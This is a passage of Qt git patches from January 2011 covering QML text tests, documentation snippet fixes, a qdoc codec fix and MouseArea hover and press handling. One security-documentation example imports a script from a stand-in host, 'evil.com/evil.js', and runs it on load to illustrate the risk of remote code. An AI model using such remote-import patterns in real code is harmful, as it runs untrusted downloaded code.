    +    QTest::addColumn("text");
    +    QTest::addColumn("wrap");
    +    QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "Text.NoWrap";
    +    QTest::newRow("richtext") << "The quick red fox jumped over the lazy brown dog" << "Text.NoWrap";
    +    QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "Text.Wrap";
    +    QTest::newRow("richtext_wrap") << "The quick red fox jumped over the lazy brown dog" << "Text.Wrap";
    +}
    +
    +void tst_qdeclarativetext::implicitSize()
    +{
    +    QFETCH(QString, text);
    +    QFETCH(QString, wrap);
    +    QString componentStr = "import QtQuick 1.1\nText { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }";
    +    QDeclarativeComponent textComponent(&engine);
    +    textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
    +    QDeclarativeText *textObject = qobject_cast(textComponent.create());
    +
    +    QVERIFY(textObject->width() < textObject->implicitWidth());
    +    QVERIFY(textObject->height() == textObject->implicitHeight());
    +
    +    textObject->resetWidth();
    +    QVERIFY(textObject->width() == textObject->implicitWidth());
    +    QVERIFY(textObject->height() == textObject->implicitHeight());
    +}
    +
     QTEST_MAIN(tst_qdeclarativetext)
     
     #include "tst_qdeclarativetext.moc"
    diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    index 89e8fec..582b20f 100644
    --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    @@ -127,6 +127,8 @@ private slots:
         void openInputPanelOnFocus();
         void geometrySignals();
         void pastingRichText_QTBUG_14003();
    +    void implicitSize_data();
    +    void implicitSize();
     
     private:
         void simulateKey(QDeclarativeView *, int key);
    @@ -1447,6 +1449,33 @@ void tst_qdeclarativetextedit::pastingRichText_QTBUG_14003()
     #endif
     }
     
    +void tst_qdeclarativetextedit::implicitSize_data()
    +{
    +    QTest::addColumn("text");
    +    QTest::addColumn("wrap");
    +    QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.NoWrap";
    +    QTest::newRow("richtext") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.NoWrap";
    +    QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.Wrap";
    +    QTest::newRow("richtext_wrap") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.Wrap";
    +}
    +
    +void tst_qdeclarativetextedit::implicitSize()
    +{
    +    QFETCH(QString, text);
    +    QFETCH(QString, wrap);
    +    QString componentStr = "import QtQuick 1.1\nTextEdit { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }";
    +    QDeclarativeComponent textComponent(&engine);
    +    textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
    +    QDeclarativeTextEdit *textObject = qobject_cast(textComponent.create());
    +
    +    QVERIFY(textObject->width() < textObject->implicitWidth());
    +    QVERIFY(textObject->height() == textObject->implicitHeight());
    +
    +    textObject->resetWidth();
    +    QVERIFY(textObject->width() == textObject->implicitWidth());
    +    QVERIFY(textObject->height() == textObject->implicitHeight());
    +}
    +
     QTEST_MAIN(tst_qdeclarativetextedit)
     
     #include "tst_qdeclarativetextedit.moc"
    -- 
    cgit v0.12
    
    
    From cdb2d3db1ece08af9ccf844cae6a5d3fa69a0d98 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Mon, 24 Jan 2011 14:39:12 +0100
    Subject: Doc: Fixed the syntax of QML code snippets.
    
    ---
     doc/src/declarative/basictypes.qdoc           |  19 ++--
     doc/src/declarative/qdeclarativesecurity.qdoc |   6 +-
     doc/src/declarative/qml-intro.qdoc            |  14 +--
     doc/src/images/declarative-colors.png         | Bin 0 -> 4993 bytes
     doc/src/snippets/declarative/colors.qml       | 125 ++++++++++++++++++++++++++
     doc/src/snippets/declarative/pics/checker.svg |  17 ++++
     6 files changed, 163 insertions(+), 18 deletions(-)
     create mode 100644 doc/src/images/declarative-colors.png
     create mode 100644 doc/src/snippets/declarative/colors.qml
     create mode 100644 doc/src/snippets/declarative/pics/checker.svg
    
    diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc
    index 463e4a3..289a7a0 100644
    --- a/doc/src/declarative/basictypes.qdoc
    +++ b/doc/src/declarative/basictypes.qdoc
    @@ -174,13 +174,10 @@
         transparent blue to a quad of \c "#800000FF".
     
         Example:
    -    \qml
    -    Rectangle { color: "steelblue" }
    -    Rectangle { color: "transparent" }
    -    Rectangle { color: "#FF0000" }
    -    Rectangle { color: "#800000FF" }
    -    Rectangle { color: "#00000000" }    // ARGB fully transparent
    -    \endqml
    +    \div{float-right}
    +    \inlineimage declarative-colors.png
    +    \enddiv
    +    \snippet doc/src/snippets/declarative/colors.qml colors
     
         Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()},
         \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions:
    @@ -361,9 +358,11 @@
         Actions are used like this:
     
         \qml
    -    MouseArea { onClicked: myaction.trigger() }
    -    State { name: "enabled"; when: myaction.enabled == true }
    -    Text { text: someaction.text }
    +    Item {
    +        MouseArea { onClicked: myaction.trigger() }
    +        State { name: "enabled"; when: myaction.enabled == true }
    +        Text { text: someaction.text }
    +    }
         \endqml
     
         \sa {QML Basic Types}
    diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
    index 8aa031d..482043c 100644
    --- a/doc/src/declarative/qdeclarativesecurity.qdoc
    +++ b/doc/src/declarative/qdeclarativesecurity.qdoc
    @@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen
     For example, this QML content:
     
     \qml
    +import QtQuick 1.0
     import "http://evil.com/evil.js" as Evil
    -... Evil.doEvil() ...
    +
    +Component {
    +    onLoaded: Evil.doEvil()
    +}
     \endqml
     
     is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
    diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
    index 563dc3b..7b2d999 100644
    --- a/doc/src/declarative/qml-intro.qdoc
    +++ b/doc/src/declarative/qml-intro.qdoc
    @@ -247,13 +247,17 @@ referencing these properties from another object we use the property
     directly, instead of saying:
     
     \qml
    -myRectangle.anchors.top  // Wrong
    +Item {
    +    anchors.bottom: myRectangle.anchors.top  // Wrong
    +}
     \endqml
     
     we use
     
     \qml
    -myRectangle.top         // Correct
    +Item {
    +    anchors.bottom: myRectangle.top         // Correct
    +}
     \endqml
     
     
    @@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise.
     Rotation of text was also suggested. It could also be useful to scale the
     text. We can do both. The \l {Item::transform}{transform} property is a
     \e list of \l Transform elements, so using the list syntax
    -
    -\qml
    -myList: [ listElement1, listElement2, ... } ]
    -\endqml
    -
    +\c{myList: [ listElement1, listElement2, ... } ]}
     we can produce a list of transformations.
     
     The text will be rotated by 45 degrees anti-clockwise and scaled 
    diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png
    new file mode 100644
    index 0000000..f2eacd8
    Binary files /dev/null and b/doc/src/images/declarative-colors.png differ
    diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml
    new file mode 100644
    index 0000000..c670eca
    --- /dev/null
    +++ b/doc/src/snippets/declarative/colors.qml
    @@ -0,0 +1,125 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the documentation of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:BSD$
    +** You may use this file under the terms of the BSD license as follows:
    +**
    +** "Redistribution and use in source and binary forms, with or without
    +** modification, are permitted provided that the following conditions are
    +** met:
    +**   * Redistributions of source code must retain the above copyright
    +**     notice, this list of conditions and the following disclaimer.
    +**   * Redistributions in binary form must reproduce the above copyright
    +**     notice, this list of conditions and the following disclaimer in
    +**     the documentation and/or other materials provided with the
    +**     distribution.
    +**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
    +**     the names of its contributors may be used to endorse or promote
    +**     products derived from this software without specific prior written
    +**     permission.
    +**
    +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
    +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
    +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
    +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
    +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
    +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
    +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
    +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
    +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
    +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +import QtQuick 1.0
    +
    +Rectangle {
    +    width: 160; height: 250
    +    
    +    Image {
    +        width: 160; height: 200
    +        source: "pics/checker.svg"
    +        fillMode: Image.Tile
    +
    +        //! [colors]
    +        Rectangle {
    +            color: "steelblue"
    +            width: 40; height: 40
    +        }
    +        Rectangle {
    +            color: "transparent"
    +            y: 40; width: 40; height: 40
    +        }
    +        Rectangle {
    +            color: "#FF0000"
    +            y: 80; width: 40; height: 40
    +        }
    +        Rectangle {
    +            color: "#800000FF"
    +            y: 120; width: 40; height: 40
    +        }
    +        Rectangle {
    +            color: "#00000000"    // ARGB fully transparent
    +            y: 160
    +            width: 40; height: 40
    +        }
    +        //! [colors]
    +
    +        Rectangle {
    +            x: 40
    +            width: 120; height: 200
    +
    +            Text {
    +                font.pixelSize: 16
    +                text: "steelblue"
    +                x: 10; height: 40
    +                verticalAlignment: Text.AlignVCenter
    +            }
    +            Text {
    +                font.pixelSize: 16
    +                text: "transparent"
    +                x: 10; y: 40; height: 40
    +                verticalAlignment: Text.AlignVCenter
    +            }
    +            Text {
    +                font.pixelSize: 16
    +                text: "FF0000"
    +                x: 10; y: 80; height: 40
    +                verticalAlignment: Text.AlignVCenter
    +            }
    +            Text {
    +                font.pixelSize: 16
    +                text: "800000FF"
    +                x: 10; y: 120; height: 40
    +                verticalAlignment: Text.AlignVCenter
    +            }
    +            Text {
    +                font.pixelSize: 16
    +                text: "00000000"
    +                x: 10; y: 160; height: 40
    +                verticalAlignment: Text.AlignVCenter
    +            }
    +        }
    +    }
    +
    +    Image {
    +        y: 210
    +        width: 40; height: 40
    +        source: "pics/checker.svg"
    +        fillMode: Image.Tile
    +    }
    +
    +    Text {
    +        font.pixelSize: 16
    +        text: "(background)"
    +        x: 50; y: 210; height: 40
    +        verticalAlignment: Text.AlignVCenter
    +    }
    +}
    diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg
    new file mode 100644
    index 0000000..374d89d
    --- /dev/null
    +++ b/doc/src/snippets/declarative/pics/checker.svg
    @@ -0,0 +1,17 @@
    +
    +
    +  Checker
    +  A checkerboard pattern to use as a background.
    +  
    +    
    +  
    +  
    +    
    +  
    +  
    +    
    +  
    +
    -- 
    cgit v0.12
    
    
    From 57f2890a28f5bed8476019d4f280e75e982cfe25 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Mon, 24 Jan 2011 14:54:31 +0100
    Subject: Ensured that an uninitialized output codec is never used.
    
    See task for contributor information.
    
    Task-number: QTBUG-16462
    ---
     tools/qdoc3/pagegenerator.cpp | 5 ++++-
     1 file changed, 4 insertions(+), 1 deletion(-)
    
    diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp
    index e9566ee..89ec6fe 100644
    --- a/tools/qdoc3/pagegenerator.cpp
    +++ b/tools/qdoc3/pagegenerator.cpp
    @@ -56,6 +56,7 @@ QT_BEGIN_NAMESPACE
       Nothing to do in the constructor.
      */
     PageGenerator::PageGenerator()
    +    : outputCodec(0)
     {
         // nothing.
     }
    @@ -294,7 +295,9 @@ void PageGenerator::beginSubPage(const Location& location,
         if (!outFile->open(QFile::WriteOnly))
     	location.fatal(tr("Cannot open output file '%1'").arg(outFile->fileName()));
         QTextStream* out = new QTextStream(outFile);
    -    out->setCodec(outputCodec);
    +
    +    if (outputCodec)
    +        out->setCodec(outputCodec);
         outStreamStack.push(out);
     }
     
    -- 
    cgit v0.12
    
    
    From 3d769613d5efc642ebfd8d5fe7c149834132fe65 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Mon, 24 Jan 2011 15:09:14 +0100
    Subject: Doc: Fixed the syntax of QML code snippets.
    
    ---
     src/declarative/graphicsitems/qdeclarativeitem.cpp | 44 +++++++++++---------
     .../graphicsitems/qdeclarativepositioners.cpp      | 10 +++--
     .../graphicsitems/qdeclarativerectangle.cpp        |  5 ++-
     src/declarative/graphicsitems/qdeclarativetext.cpp | 35 ++++++++++++----
     .../graphicsitems/qdeclarativetextinput.cpp        |  4 +-
     src/declarative/util/qdeclarativestategroup.cpp    | 48 +++++++++++++---------
     src/declarative/util/qdeclarativexmllistmodel.cpp  | 13 +++---
     7 files changed, 101 insertions(+), 58 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    index e915bea..a99d918 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    @@ -2124,16 +2124,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
       \o \image declarative-anchors_example.png
       \o Text anchored to Image, horizontally centered and vertically below, with a margin.
       \qml
    -  Image {
    -      id: pic
    -      // ...
    -  }
    -  Text {
    -      id: label
    -      anchors.horizontalCenter: pic.horizontalCenter
    -      anchors.top: pic.bottom
    -      anchors.topMargin: 5
    -      // ...
    +  Item {
    +      Image {
    +          id: pic
    +          // ...
    +      }
    +      Text {
    +          id: label
    +          anchors.horizontalCenter: pic.horizontalCenter
    +          anchors.top: pic.bottom
    +          anchors.topMargin: 5
    +          // ...
    +      }
       }
       \endqml
       \row
    @@ -2143,16 +2145,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
       property of both defaults to 0.
     
       \qml
    -    Image {
    -        id: pic
    -        // ...
    -    }
    -    Text {
    -        id: label
    -        anchors.left: pic.right
    -        anchors.leftMargin: 5
    -        // ...
    -    }
    +  Item {
    +      Image {
    +          id: pic
    +          // ...
    +      }
    +      Text {
    +          id: label
    +          anchors.left: pic.right
    +          anchors.leftMargin: 5
    +          // ...
    +      }
    +  }
       \endqml
       \endtable
     
    diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    index 4e049c7..e0bd2ff 100644
    --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    @@ -364,9 +364,13 @@ void QDeclarativeBasePositioner::finishApplyTransitions()
       \qml
       Column {
           spacing: 2
    -      add: ...
    -      move: ...
    -      ...
    +      add: Transition {
    +          // Define an animation for adding a new item...
    +      }
    +      move: Transition {
    +          // Define an animation for moving items within the column...
    +      }
    +      // ...
       }
       \endqml
     
    diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
    index 403f12c..d962919 100644
    --- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
    @@ -60,7 +60,10 @@ QT_BEGIN_NAMESPACE
     
         Example:
         \qml
    -    Rectangle { border.width: 2; border.color: "red" ... }
    +    Rectangle {
    +        border.width: 2
    +        border.color: "red"
    +    }
         \endqml
     */
     
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index 2f3c8e5..79aa18d 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -558,11 +558,24 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma
         \brief The Text item allows you to add formatted text to a scene.
         \inherits Item
     
    -    A Text item can display both plain and rich text. For example:
    +    Text items can display both plain and rich text. For example, red text with
    +    a specific font and size can be defined like this:
     
         \qml
    -    Text { text: "Hello World!"; font.family: "Helvetica"; font.pointSize: 24; color: "red" }
    -    Text { text: "Hello World!" }
    +    Text {
    +        text: "Hello World!"
    +        font.family: "Helvetica"
    +        font.pointSize: 24
    +        color: "red"
    +    }
    +    \endqml
    +
    +    Rich text is defined using HTML-style markup:
    +
    +    \qml
    +    Text {
    +        text: "Hello World!"
    +    }
         \endqml
     
         \image declarative-text.png
    @@ -789,12 +802,20 @@ void QDeclarativeText::setText(const QString &n)
     
         The text color.
     
    +    An example of green text defined using hexadecimal notation:
         \qml
    -    //green text using hexadecimal notation
    -    Text { color: "#00FF00"; ... }
    +    Text {
    +        color: "#00FF00"
    +        text: "green text"
    +    }
    +    \endqml
     
    -    //steelblue text using SVG color name
    -    Text { color: "steelblue"; ... }
    +    An example of steel blue text defined using an SVG color name:
    +    \qml
    +    Text {
    +        color: "steelblue"
    +        text: "blue text"
    +    }
         \endqml
     */
     QColor QDeclarativeText::color() const
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    index 57a2177..cb308f4 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    @@ -520,10 +520,10 @@ void QDeclarativeTextInput::select(int start, int end)
         It is equivalent to the following snippet, but is faster and easier
         to use.
     
    -    \qml
    +    \js
         myTextInput.text.toString().substring(myTextInput.selectionStart,
             myTextInput.selectionEnd);
    -    \endqml
    +    \endjs
     */
     QString QDeclarativeTextInput::selectedText() const
     {
    diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp
    index 7aeea12..f1d0997 100644
    --- a/src/declarative/util/qdeclarativestategroup.cpp
    +++ b/src/declarative/util/qdeclarativestategroup.cpp
    @@ -102,10 +102,10 @@ public:
                id: myStateGroup
                states: State {
                    name: "state1"
    -               ...
    +               // ...
                }
                transitions: Transition {
    -               ...
    +               // ...
                }
            }
     
    @@ -140,11 +140,15 @@ QList QDeclarativeStateGroup::states() const
     
       \qml
       StateGroup {
    -    states: [
    -      State { ... },
    -      State { ... }
    -      ...
    -    ]
    +      states: [
    +          State {
    +              // State definition...
    +          },
    +          State {
    +              // ...
    +          }
    +          // Other states...
    +      ]
       }
       \endqml
     
    @@ -197,11 +201,15 @@ void QDeclarativeStateGroupPrivate::clear_states(QDeclarativeListProperty QDeclarativeStateGroup::transit
       This property is often used in scripts to change between states. For
       example:
     
    -  \qml
    -    function toggle() {
    -        if (button.state == 'On')
    -            button.state = 'Off';
    -        else
    -            button.state = 'On';
    -    }
    -  \endqml
    +  \js
    +  function toggle() {
    +      if (button.state == 'On')
    +          button.state = 'Off';
    +      else
    +          button.state = 'On';
    +  }
    +  \endjs
     
       If the state group is in its base state (i.e. no explicit state has been
       set), \c state will be a blank string. Likewise, you can return a
    diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
    index 7da4ecd..c582df1 100644
    --- a/src/declarative/util/qdeclarativexmllistmodel.cpp
    +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
    @@ -90,8 +90,11 @@ typedef QPair QDeclarativeXmlListRange;
         \qml
         XmlListModel {
             id: xmlModel
    -        ...
    -        XmlRole { name: "title"; query: "title/string()" }
    +        // ...
    +        XmlRole {
    +            name: "title"
    +            query: "title/string()"
    +        }
         }
     
         ListView {
    @@ -792,9 +795,9 @@ void QDeclarativeXmlListModel::setNamespaceDeclarations(const QString &declarati
     
         This will access the \c title value for the first item in the model:
     
    -    \qml
    -        var title = model.get(0).title;
    -    \endqml
    +    \js
    +    var title = model.get(0).title;
    +    \endjs
     */
     QScriptValue QDeclarativeXmlListModel::get(int index) const
     {
    -- 
    cgit v0.12
    
    
    From 67601dec71ee5b1ab1dd66bb55e00889bfeccb42 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Mon, 24 Jan 2011 16:12:48 +0100
    Subject: Removed a configuration file that can no longer be used.
    
    ---
     tools/qdoc3/test/qt-webxml.qdocconf | 12 ------------
     1 file changed, 12 deletions(-)
     delete mode 100644 tools/qdoc3/test/qt-webxml.qdocconf
    
    diff --git a/tools/qdoc3/test/qt-webxml.qdocconf b/tools/qdoc3/test/qt-webxml.qdocconf
    deleted file mode 100644
    index 80ced42..0000000
    --- a/tools/qdoc3/test/qt-webxml.qdocconf
    +++ /dev/null
    @@ -1,12 +0,0 @@
    -include(qt.qdocconf)
    -
    -quotinginformation      = true
    -imagedirs               = $QTDIR/doc/src/images \
    -                          $QTDIR/examples \
    -			  $QTDIR/doc/src/template/images
    -
    -outputdir               = $QTDIR/doc/webxml
    -outputformats           = WebXML
    -
    -generateindex           = true
    -url                     = .
    -- 
    cgit v0.12
    
    
    From 1aea31ebfdd9a6893b2d88b69f34de0b1456b2e4 Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Mon, 24 Jan 2011 14:08:23 +1000
    Subject: Fix copy-paste error in QDeclarativeMouseArea::hoverMoveEvent.
    
    Reviewed-by: Martin Jones
    ---
     src/declarative/graphicsitems/qdeclarativemousearea.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    index 4b555d0..82125f7 100644
    --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    @@ -591,7 +591,7 @@ void QDeclarativeMouseArea::hoverMoveEvent(QGraphicsSceneHoverEvent *event)
     {
         Q_D(QDeclarativeMouseArea);
         if (!d->absorb) {
    -        QDeclarativeItem::hoverEnterEvent(event);
    +        QDeclarativeItem::hoverMoveEvent(event);
         } else {
             d->lastPos = event->pos();
             QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, d->lastButtons, d->lastModifiers, false, d->longPress);
    -- 
    cgit v0.12
    
    
    From 4768e23056691ee14a91e1f2cf258e8f51847aaf Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Mon, 24 Jan 2011 16:05:17 +1000
    Subject: Improve information reported for MouseArea hover events.
    
    Reviewed-by: Martin Jones
    ---
     src/declarative/graphicsitems/qdeclarativemousearea.cpp | 8 ++++++--
     1 file changed, 6 insertions(+), 2 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    index 82125f7..ee6765c 100644
    --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    @@ -583,8 +583,12 @@ void QDeclarativeMouseArea::hoverEnterEvent(QGraphicsSceneHoverEvent *event)
         Q_D(QDeclarativeMouseArea);
         if (!d->absorb)
             QDeclarativeItem::hoverEnterEvent(event);
    -    else
    +    else {
    +        d->lastPos = event->pos();
             setHovered(true);
    +        QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false);
    +        emit mousePositionChanged(&me);
    +    }
     }
     
     void QDeclarativeMouseArea::hoverMoveEvent(QGraphicsSceneHoverEvent *event)
    @@ -594,7 +598,7 @@ void QDeclarativeMouseArea::hoverMoveEvent(QGraphicsSceneHoverEvent *event)
             QDeclarativeItem::hoverMoveEvent(event);
         } else {
             d->lastPos = event->pos();
    -        QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, d->lastButtons, d->lastModifiers, false, d->longPress);
    +        QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false);
             emit mousePositionChanged(&me);
             me.setX(d->lastPos.x());
             me.setY(d->lastPos.y());
    -- 
    cgit v0.12
    
    
    From b36859acae472916c35ac31174c8230543d900ab Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Tue, 25 Jan 2011 09:30:45 +1000
    Subject: Notify that pressed has changed before calling the onClicked handler.
    
    This is a more natural ordering, and makes it trivial to control
    different state groups with pressed and onClicked.
    
    Reviewed-by: Martin Jones
    ---
     .../graphicsitems/qdeclarativemousearea.cpp        |  3 +-
     .../qdeclarativemousearea/data/pressedOrdering.qml | 28 +++++++++++++++++
     .../tst_qdeclarativemousearea.cpp                  | 35 ++++++++++++++++++++++
     3 files changed, 65 insertions(+), 1 deletion(-)
     create mode 100644 tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    index ee6765c..273fc53 100644
    --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    @@ -863,15 +863,16 @@ bool QDeclarativeMouseArea::setPressed(bool p)
                 me.setX(d->lastPos.x());
                 me.setY(d->lastPos.y());
                 emit mousePositionChanged(&me);
    +            emit pressedChanged();
             } else {
                 emit released(&me);
                 me.setX(d->lastPos.x());
                 me.setY(d->lastPos.y());
    +            emit pressedChanged();
                 if (isclick && !d->longPress && !d->doubleClick)
                     emit clicked(&me);
             }
     
    -        emit pressedChanged();
             return me.isAccepted();
         }
         return false;
    diff --git a/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml b/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
    new file mode 100644
    index 0000000..4a80e83
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
    @@ -0,0 +1,28 @@
    +import QtQuick 1.0
    +
    +Item {
    +    id: root
    +    property string value: "base"
    +
    +    MouseArea {
    +        id: mouseArea
    +        width: 200; height: 200
    +        onClicked: toggleState.state = "toggled"
    +    }
    +
    +    StateGroup {
    +        states: State {
    +            name: "pressed"
    +            when: mouseArea.pressed
    +            PropertyChanges { target: root; value: "pressed" }
    +        }
    +    }
    +
    +    StateGroup {
    +        id: toggleState
    +        states: State {
    +            name: "toggled"
    +            PropertyChanges { target: root; value: "toggled" }
    +        }
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp b/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
    index 9d7cc05..845d6bb 100644
    --- a/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
    +++ b/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
    @@ -64,6 +64,7 @@ private slots:
         void onMousePressRejected();
         void doubleClick();
         void clickTwice();
    +    void pressedOrdering();
     
     private:
         QDeclarativeView *createView();
    @@ -477,6 +478,40 @@ void tst_QDeclarativeMouseArea::clickTwice()
         QCOMPARE(canvas->rootObject()->property("clicked").toInt(), 2);
     }
     
    +void tst_QDeclarativeMouseArea::pressedOrdering()
    +{
    +    QDeclarativeView *canvas = createView();
    +    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pressedOrdering.qml"));
    +    canvas->show();
    +    canvas->setFocus();
    +    QVERIFY(canvas->rootObject() != 0);
    +
    +    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("base"));
    +
    +    QGraphicsScene *scene = canvas->scene();
    +    QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress);
    +    pressEvent.setScenePos(QPointF(100, 100));
    +    pressEvent.setButton(Qt::LeftButton);
    +    pressEvent.setButtons(Qt::LeftButton);
    +    QApplication::sendEvent(scene, &pressEvent);
    +
    +    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed"));
    +
    +    QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease);
    +    releaseEvent.setScenePos(QPointF(100, 100));
    +    releaseEvent.setButton(Qt::LeftButton);
    +    releaseEvent.setButtons(Qt::LeftButton);
    +    QApplication::sendEvent(scene, &releaseEvent);
    +
    +    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("toggled"));
    +
    +    QApplication::sendEvent(scene, &pressEvent);
    +
    +    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed"));
    +
    +    delete canvas;
    +}
    +
     QTEST_MAIN(tst_QDeclarativeMouseArea)
     
     #include "tst_qdeclarativemousearea.moc"
    -- 
    cgit v0.12
    
    
